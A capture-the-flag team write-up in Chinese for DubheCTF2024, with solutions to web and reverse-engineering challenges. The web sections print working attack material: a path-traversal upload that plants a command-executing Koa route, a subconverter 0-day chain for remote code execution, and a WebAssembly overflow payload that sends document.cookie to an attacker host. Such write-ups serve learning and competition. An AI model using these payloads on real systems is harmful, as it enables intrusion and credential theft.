本次 DubheCTF2024,我们Polaris战队排名第11。
排名 | 队伍 | 总分 |
---|---|---|
11 | 星盟ctf战队 | 6082.57 |
12 | Lilac | 5888.04 |
13 | 0xFFF_ | 5861.78 |
14 | Vidar-Team | 5548.11 |
15 | Nepnep | 4673.94 |
16 | AuroraSZU | 3765 |
17 | 0RAYS | 3575 |
18 | USTC-NEBULA | 3165 |
19 | Dawn | 3091.06 |
20 | ukfc | 2764 |
Web
Wecat
存在任意文件上传
覆盖router.js和上传shell.js实现获取flag
注册
POST /wechatAPI/sign/success HTTP/1.1
Host: 1.95.54.149:port
Origin: http://192.168.0.105:8088
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Accept: application/json, text/plain, */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Referer: http://192.168.0.105:8088/emailCheck
Accept-Encoding: gzip, deflate
Content-Length: 115
{"email":"test@qq.com","nickName":"a","trueName":"a","pwd":"xxxx","avatar":"/img/ginger-cat-713.7c864d1a.png"}
登录获取token
POST /wechatAPI/login/pwd HTTP/1.1
Host: 1.95.54.149:port
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Referer: http://192.168.0.105:8088/login
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Origin: http://192.168.0.105:8088
Content-Length: 41
{"email":"test@qq.com","pwd":"xxxx"}
上传文件
POST /wechatAPI/upload/once HTTP/1.1
Host: 1.95.54.149:port
Authorization: token
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaU8LLb8R1nfXBq68
Referer: http://192.168.0.105:8088/home
Origin: http://192.168.0.105:8088
Content-Length: 2400554
------WebKitFormBoundaryaU8LLb8R1nfXBq68
Content-Disposition: form-data; name="file"; filename="aaa.js"
Content-Type: image/png
const router = require('@koa/router')()
router.get('/wechatAPI/test/shell', async (ctx) => {
const {
cmd
} = ctx.request.body
let resp = require('child_process').execSync("/readflag").toString()
ctx.body = {
resp
}
})
module.exports = router.routes()
------WebKitFormBoundaryaU8LLb8R1nfXBq68
Content-Disposition: form-data; name="name"
avatar.js
------WebKitFormBoundaryaU8LLb8R1nfXBq68
Content-Disposition: form-data; name="hash"
9f48e2ca00d50f12af64629d346064b0
------WebKitFormBoundaryaU8LLb8R1nfXBq68
Content-Disposition: form-data; name="postfix"
js/../../../../app/src/route/shell.js
------WebKitFormBoundaryaU8LLb8R1nfXBq68--
POST /wechatAPI/upload/once HTTP/1.1
Host: 1.95.54.149:port
Authorization: token
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaU8LLb8R1nfXBq68
Referer: http://192.168.0.105:8088/home
Origin: http://192.168.0.105:8088
Content-Length: 2400554
------WebKitFormBoundaryaU8LLb8R1nfXBq68
Content-Disposition: form-data; name="file"; filename="aaa.js"
Content-Type: image/png
const router = require('@koa/router')()
const commonRouter = require('./commonRouter')
const routeAdmin = require('./admin')
const routeLogin = require('./login')
const routeUpload = require('./upload')
const shell = require('./shell')
router
.use(routeLogin)
.use(commonRouter)
.use(routeUpload)
.use(routeAdmin)
.use(shell)
module.exports = router
------WebKitFormBoundaryaU8LLb8R1nfXBq68
Content-Disposition: form-data; name="name"
avatar.js
------WebKitFormBoundaryaU8LLb8R1nfXBq68
Content-Disposition: form-data; name="hash"
9f48e2ca00d50f12af64629d346064b0
------WebKitFormBoundaryaU8LLb8R1nfXBq68
Content-Disposition: form-data; name="postfix"
js/../../../../app/src/route/router.js
------WebKitFormBoundaryaU8LLb8R1nfXBq68--
访问路由获取flag
Master of Profile
题目描述:
This is a 0-day challenge. I reported this 0day to the official but got nothing reply. So I decided to open this challenge to the public.
I believe it is easy for you to get RCE on the latest subconverter
You can easily open an instance using following command
还是个小0day 不过无所谓 给了源码我们审就完事了
通过信息搜集 我们找到了https://cn-sec.com/archives/2105254.html这篇文章
跟着这篇文章的思路可以看见/qx-script和/convert这两个读取配置文件的接口被删了 但执行命令的script:还在 所以我们还是打这个洞 但得去找个别的路获取token
我们注意找个路由 然后全局搜索renderTemplate函数
发现在这个文件里定义函数 就是通过path参数访问文件 那我们想一下 是否可以存在任意文件读取漏洞 去读pref配置文件呢
可以看出pref.ini被转化成yaml 就是pref.yml文件 我们传入 /render?path=pref.yml 即可读取了配置信息token
(忘记截图了 就是重要的可以知道token 然后APIMode为false cache为false 貌似我们打不了cache漏洞了
但我们可以通过updateconf修改配置文件
https://github.com/tindy2013/subconverter/blob/master/README-docker.md
我们可以通过form和direct实现上传
common:
api_mode: true
api_access_token: password
default_url: []
enable_insert: true
insert_url: []
prepend_insert_url: true
exclude_remarks: ["(到期|剩余流量|时间|官网|产品|平台)"]
include_remarks: []
enable_filter: false
filter_script: ""
default_external_config: "" # config/example_external_config.yml
base_path: base
clash_rule_base: base/all_base.tpl
surge_rule_base: base/all_base.tpl
surfboard_rule_base: base/all_base.tpl
mellow_rule_base: base/all_base.tpl
quan_rule_base: base/all_base.tpl
quanx_rule_base: base/all_base.tpl
loon_rule_base: base/all_base.tpl
sssub_rule_base: base/all_base.tpl
singbox_rule_base: base/all_base.tpl
proxy_config: SYSTEM
proxy_ruleset: SYSTEM
proxy_subscription: NONE
append_proxy_type: false
reload_conf_on_request: false
userinfo:
stream_rule:
- {match: "^剩余流量:(.*?)\\|总流量:(.*)$", replace: "total=$2&left=$1"}
- {match: "^剩余流量:(.*?) (.*)$", replace: "total=$1&left=$2"}
- {match: "^Bandwidth: (.*?)/(.*)$", replace: "used=$1&total=$2"}
- {match: "^.*剩余(.*?)(?:\\s*?)@(?:.*)$", replace: "total=$1"}
- {match: "^.*?流量:(.*?) 剩:(?:.*)$", replace: "total=$1"}
time_rule:
- {match: "^过期时间:(\\d+)-(\\d+)-(\\d+) (\\d+):(\\d+):(\\d+)$", replace: "$1:$2:$3:$4:$5:$6"}
- {match: "^到期时间(:|:)(\\d+)-(\\d+)-(\\d+)$", replace: "$1:$2:$3:0:0:0"}
- {match: "^Smart Access expire: (\\d+)/(\\d+)/(\\d+)$", replace: "$1:$2:$3:0:0:0"}
- {match: "^.*?流量:(?:.*?) 剩:(.*?)天$", replace: "left=$1d"}
node_pref:
# udp_flag: false
# tcp_fast_open_flag: false
# skip_cert_verify_flag: false
# tls13_flag: false
sort_flag: false
sort_script: ""
filter_deprecated_nodes: false
append_sub_userinfo: true
clash_use_new_field_name: true
clash_proxies_style: flow
singbox_add_clash_modes: true
rename_node:
# - {match: "\\(?((x|X)?(\\d+)(\\.?\\d+)?)((\\s?倍率?)|(x|X))\\)?", replace: "$1x"}
# - {script: "function rename(node){}"}
# - {script: "path:/path/to/script.js"}
- {import: snippets/rename_node.txt}
managed_config:
write_managed_config: true
managed_config_prefix: "http://127.0.0.1:25500"
config_update_interval: 86400
config_update_strict: false
quanx_device_id: ""
surge_external_proxy:
surge_ssr_path: "" # /usr/bin/ssr-local
resolve_hostname: true
emojis:
add_emoji: true
remove_old_emoji: true
rules:
# - {match: "(流量|时间|应急)", emoji: "🏳️🌈"}
# - {script: "function getEmoji(node){}"}
# - {script: "path:/path/to/script.js"}
- {import: snippets/emoji.txt}
rulesets:
enabled: true
overwrite_original_rules: false
update_ruleset_on_request: false
rulesets:
# - {rule: "GEOIP,CN", group: "DIRECT"}
# - {ruleset: "rules/LocalAreaNetwork.list", group: "DIRECT"}
# - {ruleset: "surge:rules/LocalAreaNetwork.list", group: "DIRECT"}
# - {ruleset: "quanx:https://raw.githubusercontent.com/ConnersHua/Profiles/master/Quantumult/X/Filter/Advertising.list", group: "Advertising", interval: 86400}
# - {ruleset: "clash-domain:https://ruleset.dev/clash_domestic_services_domains", group: "Domestic Services", interval: 86400}
# - {ruleset: "clash-ipcidr:https://ruleset.dev/clash_domestic_services_ips", group: "Domestic Services", interval: 86400}
# - {ruleset: "clash-classic:https://raw.githubusercontent.com/DivineEngine/Profiles/master/Clash/RuleSet/China.yaml", group: "DIRECT", interval: 86400}
- {import: snippets/rulesets.txt}
proxy_groups:
custom_proxy_group:
# - {name: UrlTest, type: url-test, rule: [".*"], url: http://www.gstatic.com/generate_204, interval: 300, tolerance: 100, timeout: 5}
# - {name: Proxy, type: select, rule: [".*"]}
# - {name: group1, type: select, rule: ["!!GROUPID=0"]}
# - {name: v2ray, type: select, rule: ["!!GROUP=V2RayProvider"]}
# - {import: snippets/groups_forcerule.txt}
# - {name: ssid group, type: ssid, rule: ["default_group", "celluar=group0,ssid1=group1,ssid2=group2"]}
- {import: snippets/groups.txt}
template:
template_path: ""
globals:
- {key: clash.http_port, value: 7890}
- {key: clash.socks_port, value: 7891}
- {key: clash.allow_lan, value: true}
- {key: clash.log_level, value: info}
- {key: singbox.allow_lan, value: true}
- {key: singbox.mixed_port, value: 2080}
aliases:
- {uri: /v, target: /version}
- {uri: /clash, target: "/sub?target=clash"}
- {uri: /clashr, target: "/sub?target=clashr"}
- {uri: /surge, target: "/sub?target=surge"}
- {uri: /quan, target: "/sub?target=quan"}
- {uri: /quanx, target: "/sub?target=quanx"}
- {uri: /mellow, target: "/sub?target=mellow"}
- {uri: /surfboard, target: "/sub?target=surfboard"}
- {uri: /loon, target: "/sub?target=loon"}
- {uri: /singbox, target: "/sub?target=singbox"}
- {uri: /ss, target: "/sub?target=ss"}
- {uri: /ssd, target: "/sub?target=ssd"}
- {uri: /sssub, target: "/sub?target=sssub"}
- {uri: /ssr, target: "/sub?target=ssr"}
- {uri: /v2ray, target: "/sub?target=v2ray"}
- {uri: /trojan, target: "/sub?target=trojan"}
tasks:
# - name: tick
# cronexp: "0/10 * * * * ?"
# path: tick.js
# timeout: 3
server:
listen: 0.0.0.0
port: 25500
serve_file_root: ""
advanced:
log_level: info
print_debug_info: false
max_pending_connections: 10240
max_concurrent_threads: 2
max_allowed_rulesets: 0
max_allowed_rules: 0
max_allowed_download_size: 0
enable_cache: true
cache_subscription: 60
cache_config: 300
cache_ruleset: 21600
script_clean_context: true
async_fetch_ruleset: false
skip_failed_links: false
这是要更新的配置文件 我们替换
curl -F "data=@pref.yml" http://localhost:25500/updateconf?type=form\&token=password
然后我们的cache就被改写是true 接下来我们跟着原来的思路打就行了
vps写入命令
render?path=cache/109b1096e966b911ea781d352f696c80
发现我们的命令成功写入缓存 接下来就是
sub?target=clash&token=password&url=cache/109b1096e966b911ea781d352f696c80
然后访问cache/1
发现命令执行结果被带上去了
同理获得flag就行
emmm题目环境并没有bash 导致一致以为我的payload哪有问题,,,一直想弹shell 一直谈不上,,,, 我真的傻逼 浪费了好多时间。。。。。。。
还有一种思路就是直接覆盖 pref.yml 不过由于这是配置文件 改了就报废了 所以一次环境十分钟只能执行一次命令。所以我建议还是走打cache的路子。。。
Fastest Encoder
首先在浏览器发现奇怪的代码,查了一下是wasm
我们把程序下下来,根据相关文献描述这个可读的格式是wast,需要转为wasm才能分析。
发现wasm2c或者是wasm-decomplier生成的代码可读性都很差,咨询逆向师傅使用graphi结合wasm插件查看。
分析后通过ABCDEFG字典找到base64算法,此处我已经把未命名的函数重新命名。
确认base64是在wasm虚拟机中实现的。寻找wasm与js的交互方式。
发现是react构建的js页面。
根据wasm源文件找到wasm runtime创建处。
确定了输入输出,一个是_一个是j
_ = it=>et.FastBase64(it, 0),
j = it=>et.FastBase64(it, 1),
结合上下文可以猜测d是输出的渲染函数,可以知道如果报错了就不会输出base64加密后的字符串。
输入2000个0,用js在控制台生成,’0’.repeat(2000),输入后果然没有显示。
我们确定了字符串的渲染是函数d完成的,来考察xss。
可以确定渲染的位置实质上是变量h。
确认了渲染的全部流程。
我们来考察react的xss防御。
不存在拼接,所以绕不过react内置的xss防御。
转换思路研究wasm。
发现wasm里面执行函数也是可以改变前端的。
阅读文献发现,wasm跟传统的汇编语言不同,代码和数据分离,维持一个程序代码栈和数据栈,所以无法直接劫持函数指针RIP。
论文指出wasm有三种漏洞形式。
(i) obtaining a write primitive, i.e., the ability to write memory locations in violation of sourcelevel semantics; (ii) overwriting security-relevant data, e.g., constants or data on the stack and heap; and (iii) triggering a malicious action by diverging control flow or manipulating the host environment.
(i) 获得写入原语,即违反源级语义写入存储器位置的能力;(ii)重写与安全相关的数据,例如堆栈和堆上的常数或数据;以及(iii)通过分散控制流或操纵主机环境来触发恶意动作。
之前超长字符的报错提示其实是溢出点,来到相关代码段。
根据helloworld解读,判断代码功能。
载入1008大小的内存到$var15上。
根据wasm线性内存特点确定内存溢出方向,往高地址溢出。
但是劫持不了EIP溢出有什么用呢?
wasm增加安全特性
by strictly separating code and data, enforcing types, and limiting indirect control flow,
通过严格分离代码和数据,强制类型,并限制间接控制流
溢出根本不能影响RIP。
了解第三种漏洞类型劫持程序控制流,文献提到wasm将函数写入一个表,通过表索引调用函数,而表索引来自于栈上,所以可以改变该数据篡改调用流程。
大概原理就是call_indirect指令调用时会从栈上读取函数表的索引,fuzz测出js执行函数在3的位置,然后var15覆盖了最上面的索引。
调试确定栈上情况,构造payload成功执行。
let cmd = 'document.location.href="http://vps-ip:port/?x="+document.cookie;alert(1);//';
let padding = '%02'.repeat(1008 - cmd.length);
let tableIndex = '%03';
let isValid = (cmd + decodeURIComponent(padding) + decodeURIComponent(tableIndex)).length == 1008 + 1;
if(isValid){
console.log(encodeURIComponent(cmd) + padding + tableIndex);
}else {
console.log('Wrong calculation again...')
}
Reverse
Destination
反调试很多,这里x64dbg插件过了
这里直接x64dbg trace
trace完使用下面脚本过滤掉花指令混淆的东西
with open('./log_1.txt','rb+') as f:
for line_1 in f:
if b"call" in line_1 or b"[esp" in line_1 or b"je" in line_1 or b"ret" in line_1 or b"jmp" in line_1 or b"jne" in line_1:
pass
else:
print(line_1)
push ebp
push ebp
mov ebp,esp
sub esp,10C
push ebx
push esi
push edi
mov dword ptr ss:[ebp-8],32
mov dword ptr ss:[ebp-44],0
mov eax,4
imul ecx,eax,B
mov edx,dword ptr ds:[ecx+4234
mov dword ptr ss:[ebp-38],edx
mov eax,dword ptr ss:[ebp-44]
sub eax,5B4B9F9E
mov dword ptr ss:[ebp-44],eax
mov eax,dword ptr ss:[ebp-44]
shr eax,2
and eax,3
mov dword ptr ss:[ebp-20],eax
mov dword ptr ss:[ebp-14],0
cmp dword ptr ss:[ebp-14],B
jae destination.416302
mov eax,dword ptr ss:[ebp-14]
mov ecx,dword ptr ds:[eax*4+42
mov dword ptr ss:[ebp-2C],ecx
mov eax,dword ptr ss:[ebp-38]
shr eax,5
mov ecx,dword ptr ss:[ebp-2C]
shl ecx,2
xor eax,ecx
mov edx,dword ptr ss:[ebp-2C]
shr edx,3
mov ecx,dword ptr ss:[ebp-38]
shl ecx,4
xor edx,ecx
add eax,edx
mov edx,dword ptr ss:[ebp-44]
xor edx,dword ptr ss:[ebp-2C]
mov ecx,dword ptr ss:[ebp-14]
and ecx,3
xor ecx,dword ptr ss:[ebp-20]
mov ecx,dword ptr ds:[ecx*4+42
xor ecx,dword ptr ss:[ebp-38]
add edx,ecx
xor eax,edx
mov edx,dword ptr ss:[ebp-14]
mov ecx,dword ptr ds:[edx*4+42
add ecx,eax
mov dword ptr ss:[ebp-10C],ecx
mov edx,dword ptr ss:[ebp-14]
mov eax,dword ptr ss:[ebp-10C]
mov dword ptr ds:[edx*4+4234A8
mov ecx,dword ptr ss:[ebp-10C]
mov dword ptr ss:[ebp-38],ecx
mov eax,dword ptr ss:[ebp-14]
add eax,1
mov dword ptr ss:[ebp-14],eax
cmp dword ptr ss:[ebp-14],B
jae destination.416302
调试多次后还原出代码
void btea(uint32_t* v, int n, uint32_t key[4], unsigned round1)
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = round1;
sum = 0;
z = v[n - 1];
do
{
sum -= DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < 0xB; p++)
{
y = v[p+1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = round1;
sum = 0-rounds * DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p = 0xB; p > 0; p--)
{
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum += DELTA;
} while (--rounds);
}
}
后面有个类似crc校验的,参考2023安*杯 pe这题
void fdec()
{
uint32_t dq_key = 0x84A6972F;
BYTE flag[60] = {
0xD6, 0xFA, 0x90, 0xA7, 0x77, 0xA2, 0xC8, 0xE8, 0xFA, 0x84,
0x03, 0xCF, 0xD7, 0x7F, 0x6C, 0x2E, 0x8B, 0x96, 0x33, 0x6D,
0x27, 0xC2, 0x57, 0x5B, 0x5E, 0xA6, 0x3C, 0x65, 0xFC, 0xF1,
0xC6, 0x85, 0x77, 0x25, 0xF3, 0xE1, 0x76, 0xAE, 0xD7, 0xD4,
0xC4, 0x6D, 0xAF, 0x3F, 0x8C, 0x9D, 0x59, 0x0D
}; //密文
uint32_t p;
int j, i;
for (i = 0; i < 12; i++)
{
p = *((uint32_t*)&flag[i * 4]);
for (j = 0; j < 32; j++)
{
if (p & 1)
{
p = ((uint32_t)p ^ dq_key) >> 1;
p |= 0x80000000;
}
else
{
p = ( uint32_t)p >> 1;
}
}
*((uint32_t*)&flag[i * 4]) = p;
}
for (i = 0; i < 48; i++)
printf("0x%x,", flag[i]&0xff);
printf("\n");
return;
}
#include<stdio.h>
#include"defs.h"
#include <stdio.h>
#include <stdint.h>
#define DELTA 0x5B4B9F9E
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void btea(uint32_t* v, int n, uint32_t key[4], unsigned round1)
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = round1;
sum = 0;
z = v[n - 1];
do
{
sum -= DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < 0xB; p++)
{
y = v[p+1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = round1;
sum = 0-rounds * DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p = 0xB; p > 0; p--)
{
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum += DELTA;
} while (--rounds);
}
}
void fdec();
uint32_t* v;
void sub_413F60();
int main()
{
//char input[48] = "111122223333444411112222333344441111222233334";
// char input[] = { 11, 66, 240, 167, 71, 165, 248, 92, 23, 156, 242, 251, 202, 117, 10, 70, 137, 29, 188, 160, 72, 21, 241, 155, 18, 30, 227, 231, 98, 202, 36, 85, 187, 59, 61, 194, 117, 10, 164, 238, 113, 244, 219, 55, 208, 81, 47, 133 };
char input[] = { 0x43,0x95,0x54,0x9e,0x48,0xb3,0x7c,0x5e,0x2f,0x4a,0xa8,0xd9,0xde,0x99,0xeb,0x85,0x84,0x58,0x82,0xb6,0xa1,0x4e,0xf7,0xc4,0x8a,0x82,0xb1,0x22,0x96,0x72,0xd,0x29,0x73,0xe4,0x8e,0x19,0x29,0xb5,0x55,0x96,0x6a,0x19,0xac,0x38,0x36,0x62,0x2b,0x19, 0};
uint32_t v1[]={ 2293840806, 3409349342, 3028656766, 2246810078, 3061995652, 3304541857, 582058634, 3885371053, 4144997605, 2405989420, 950802794, 422273590 };
v=(uint32_t*)& input;
unsigned int key[4] = {
0x6B0E7A6B, 0xD13011EE, 0xA7E12C6D, 0xC199ACA6
};
int n = 12;
btea(v,-n, key,50);
btea(v, -n, key, 50);
puts((char*)v);
//sub_413F60();
// fdec();
return 0;
}
void sub_413F60()
{
char data[] = { 11, 66, 240, 167, 71, 165, 248, 92, 23, 156, 242, 251, 202, 117, 10, 70, 137, 29, 188, 160, 72, 21, 241, 155, 18, 30, 227, 231, 98, 202, 36, 85, 187, 59, 61, 194, 117, 10, 164, 238, 113, 244, 219, 55, 208, 81, 47, 133 };
uint32_t* s=(uint32_t*)&data;
uint32_t tmp = 0x84A6972F;
for (int i = 0; i < 12; i++)
{
uint32_t input_1 = s[i];
for (int j = 0; j < 32; j++)
{
uint32_t v1 = input_1;
v1 <<= 1;
if (input_1 < 0)
{
input_1 = tmp ^ v1;
}
else{
input_1 = v1;
}
}
printf("%x\n", input_1);
}
}
void fdec()
{
uint32_t dq_key = 0x84A6972F;
BYTE flag[60] = {
0xD6, 0xFA, 0x90, 0xA7, 0x77, 0xA2, 0xC8, 0xE8, 0xFA, 0x84,
0x03, 0xCF, 0xD7, 0x7F, 0x6C, 0x2E, 0x8B, 0x96, 0x33, 0x6D,
0x27, 0xC2, 0x57, 0x5B, 0x5E, 0xA6, 0x3C, 0x65, 0xFC, 0xF1,
0xC6, 0x85, 0x77, 0x25, 0xF3, 0xE1, 0x76, 0xAE, 0xD7, 0xD4,
0xC4, 0x6D, 0xAF, 0x3F, 0x8C, 0x9D, 0x59, 0x0D
}; //密文
uint32_t p;
int j, i;
for (i = 0; i < 12; i++)
{
p = *((uint32_t*)&flag[i * 4]);
for (j = 0; j < 32; j++)
{
if (p & 1)
{
p = ((uint32_t)p ^ dq_key) >> 1;
p |= 0x80000000;
}
else
{
p = ( uint32_t)p >> 1;
}
}
*((uint32_t*)&flag[i * 4]) = p;
}
for (i = 0; i < 48; i++)
printf("0x%x,", flag[i]&0xff);
printf("\n");
return;
}
fragment
jadx导出工程,这里是要到Congratulations这里,
2个按钮分为向左向右走,最终走到Congratulations这里
一开始准备逆着手撸的,算了一下函数大概有800多个果断放弃
类似迷宫题
写一个脚本追踪一下路径
import os
import re
# 指定要遍历的目录路径
directory = "./java/p013II111"
good_name='sub_0.java'
bad_name=['eh0.java','q70.java']
# C0116Oo0o0 sub_0.java
start='MainActivity.java'
def read_java(name):
java_file_path = name
try:
with open(java_file_path, 'rb') as file:
return file.read();
except FileNotFoundError:
print("File not found.")
except IOError:
print("Error reading the file.")
def get_next_file_name(context):
pattern = r", (\w+)\.class"
x = re.findall(pattern.encode(), context)
#print(x)
b=[(i+b'.java').decode() for i in x]
a_=b
for i in range(len(b)):
for j in range(len(b)):
if b[i]==b[j] and i!=j:
a_=[]
return a_
def get_next_road(name,path):
for root, dirs, files in os.walk(directory):
for file in files:
if file.endswith(".java"):
# 如果文件是以 .java 结尾的,则打印文件路径
#print(file)
if file == name:
x=(os.path.join(root, file).replace('\\','/'))
data=read_java(x)
name1=get_next_file_name(data)
for i in name1:
if good_name==i:
print('found')
print(path+i)
elif i in bad_name:
pass
else:
#print(path+i)
get_next_road(i,path+' '+i+' ')
path='MainActivity.java'
get_next_road('MainActivity.java',path)
found
MainActivity.java C0106Oo0o0.java y6.java re.java yf.java fh.java mi.java tj.java al.java hm.java on.java C0108O0ooO.java C0095O0ooO.java C0123o0Ooo.java h.java o0.java v1.java c3.java j4.java q5.java x6.java h8.java o9.java va.java cc.java jd.java ee.java he.java ke.java ne.java qe.java we.java ze.java cf.java ff.java Cif.java lf.java of.java rf.java uf.java xf.java dg.java gg.java jg.java mg.java pg.java sg.java vg.java yg.java bh.java eh.java kh.java nh.java qh.java th.java wh.java zh.java ci.java fi.java ii.java li.java ri.java ui.java xi.java aj.java dj.java gj.java jj.java mj.java pj.java sj.java yj.java bk.java ek.java hk.java kk.java nk.java qk.java tk.java wk.java zk.java fl.java C0121il.java ll.java ol.java rl.java ul.java xl.java am.java dm.java gm.java mm.java pm.java sm.java vm.java ym.java bn.java en.java hn.java kn.java nn.java C0101OoOOO.java C0107O0OOo.java C0115OoOoo.java C0092Il1.java C0125oo00O.java C0149ooO00.java C0163oOO00.java C0128o00OO.java C0099Ooo0O.java I11I.java I11.java C0116Ooo00.java C0100O0O0o.java C0096OOoOo.java Il111.java II1l.java C0119O0OoO.java C0134oOo0o.java C0154oOo0O.java C0131ooOoo.java IlIl.java l1lI.java I111.java C0143oooo0.java lIII.java C0152oo0o0.java C0160oOooo.java O0000.java C0150o0O0o.java C0111OO00O.java lll.java C0097OooOo.java ll1I.java oO000.java C0144oOo0o.java C0148oOOO0.java C0142oooOo.java a.java d.java g.java m.java p.java s.java v.java y.java b0.java e0.java h0.java k0.java n0.java t0.java w0.java z0.java c1.java f1.java i1.java l1.java o1.java r1.java u1.java a2.java d2.java g2.java j2.java m2.java p2.java s2.java v2.java y2.java b3.java h3.java k3.java n3.java q3.java t3.java w3.java z3.java c4.java f4.java i4.java o4.java r4.java u4.java x4.java a5.java d5.java g5.java j5.java m5.java p5.java v5.java y5.java b6.java e6.java h6.java k6.java n6.java q6.java t6.java w6.java f7.java i7.java l7.java o7.java r7.java u7.java x7.java a8.java d8.java g8.java m8.java p8.java s8.java v8.java y8.java b9.java e9.java h9.java k9.java n9.java t9.java w9.java z9.java ca.java fa.java ia.java sub33.java sub32.java sub31.java sub30.java sub29.java sub28.java sub27.java sub26.java sub25.java sub24.java sub23.java sub22.java sub21.java sub20.java sub19.java sub18.java sub17.java sub16.java sub15.java sub14.java sub13.java sub12.java sub11.java sub10.java sub8.java sub7.java sub5.java sub4.java sub3.java sub_1.java sub_0.java
import os
import re
# 指定要遍历的目录路径
directory = "./java/p013II111"
call_list=['MainActivity.java', 'C0106Oo0o0.java', 'y6.java', 're.java', 'yf.java', 'fh.java', 'mi.java', 'tj.java', 'al.java', 'hm.java', 'on.java', 'C0108O0ooO.java', 'C0095O0ooO.java', 'C0123o0Ooo.java', 'h.java', 'o0.java', 'v1.java', 'c3.java', 'j4.java', 'q5.java', 'x6.java', 'h8.java', 'o9.java', 'va.java', 'cc.java', 'jd.java', 'ee.java', 'he.java', 'ke.java', 'ne.java', 'qe.java', 'we.java', 'ze.java', 'cf.java', 'ff.java', 'Cif.java', 'lf.java', 'of.java', 'rf.java', 'uf.java', 'xf.java', 'dg.java', 'gg.java', 'jg.java', 'mg.java', 'pg.java', 'sg.java', 'vg.java', 'yg.java', 'bh.java', 'eh.java', 'kh.java', 'nh.java', 'qh.java', 'th.java', 'wh.java', 'zh.java', 'ci.java', 'fi.java', 'ii.java', 'li.java', 'ri.java', 'ui.java', 'xi.java', 'aj.java', 'dj.java', 'gj.java', 'jj.java', 'mj.java', 'pj.java', 'sj.java', 'yj.java', 'bk.java', 'ek.java', 'hk.java', 'kk.java', 'nk.java', 'qk.java', 'tk.java', 'wk.java', 'zk.java', 'fl.java', 'C0121il.java', 'll.java', 'ol.java', 'rl.java', 'ul.java', 'xl.java', 'am.java', 'dm.java', 'gm.java', 'mm.java', 'pm.java', 'sm.java', 'vm.java', 'ym.java', 'bn.java', 'en.java', 'hn.java', 'kn.java', 'nn.java', 'C0101OoOOO.java', 'C0107O0OOo.java', 'C0115OoOoo.java', 'C0092Il1.java', 'C0125oo00O.java', 'C0149ooO00.java', 'C0163oOO00.java', 'C0128o00OO.java', 'C0099Ooo0O.java', 'I11I.java', 'I11.java', 'C0116Ooo00.java', 'C0100O0O0o.java', 'C0096OOoOo.java', 'Il111.java', 'II1l.java', 'C0119O0OoO.java', 'C0134oOo0o.java', 'C0154oOo0O.java', 'C0131ooOoo.java', 'IlIl.java', 'l1lI.java', 'I111.java', 'C0143oooo0.java', 'lIII.java', 'C0152oo0o0.java', 'C0160oOooo.java', 'O0000.java', 'C0150o0O0o.java', 'C0111OO00O.java', 'lll.java', 'C0097OooOo.java', 'll1I.java', 'oO000.java', 'C0144oOo0o.java', 'C0148oOOO0.java', 'C0142oooOo.java', 'a.java', 'd.java', 'g.java', 'm.java', 'p.java', 's.java', 'v.java', 'y.java', 'b0.java', 'e0.java', 'h0.java', 'k0.java', 'n0.java', 't0.java', 'w0.java', 'z0.java', 'c1.java', 'f1.java', 'i1.java', 'l1.java', 'o1.java', 'r1.java', 'u1.java', 'a2.java', 'd2.java', 'g2.java', 'j2.java', 'm2.java', 'p2.java', 's2.java', 'v2.java', 'y2.java', 'b3.java', 'h3.java', 'k3.java', 'n3.java', 'q3.java', 't3.java', 'w3.java', 'z3.java', 'c4.java', 'f4.java', 'i4.java', 'o4.java', 'r4.java', 'u4.java', 'x4.java', 'a5.java', 'd5.java', 'g5.java', 'j5.java', 'm5.java', 'p5.java', 'v5.java', 'y5.java', 'b6.java', 'e6.java', 'h6.java', 'k6.java', 'n6.java', 'q6.java', 't6.java', 'w6.java', 'f7.java', 'i7.java', 'l7.java', 'o7.java', 'r7.java', 'u7.java', 'x7.java', 'a8.java', 'd8.java', 'g8.java', 'm8.java', 'p8.java', 's8.java', 'v8.java', 'y8.java', 'b9.java', 'e9.java', 'h9.java', 'k9.java', 'n9.java', 't9.java', 'w9.java', 'z9.java', 'ca.java', 'fa.java', 'ia.java', 'sub33.java', 'sub32.java', 'sub31.java', 'sub30.java', 'sub29.java', 'sub28.java', 'sub27.java', 'sub26.java', 'sub25.java', 'sub24.java', 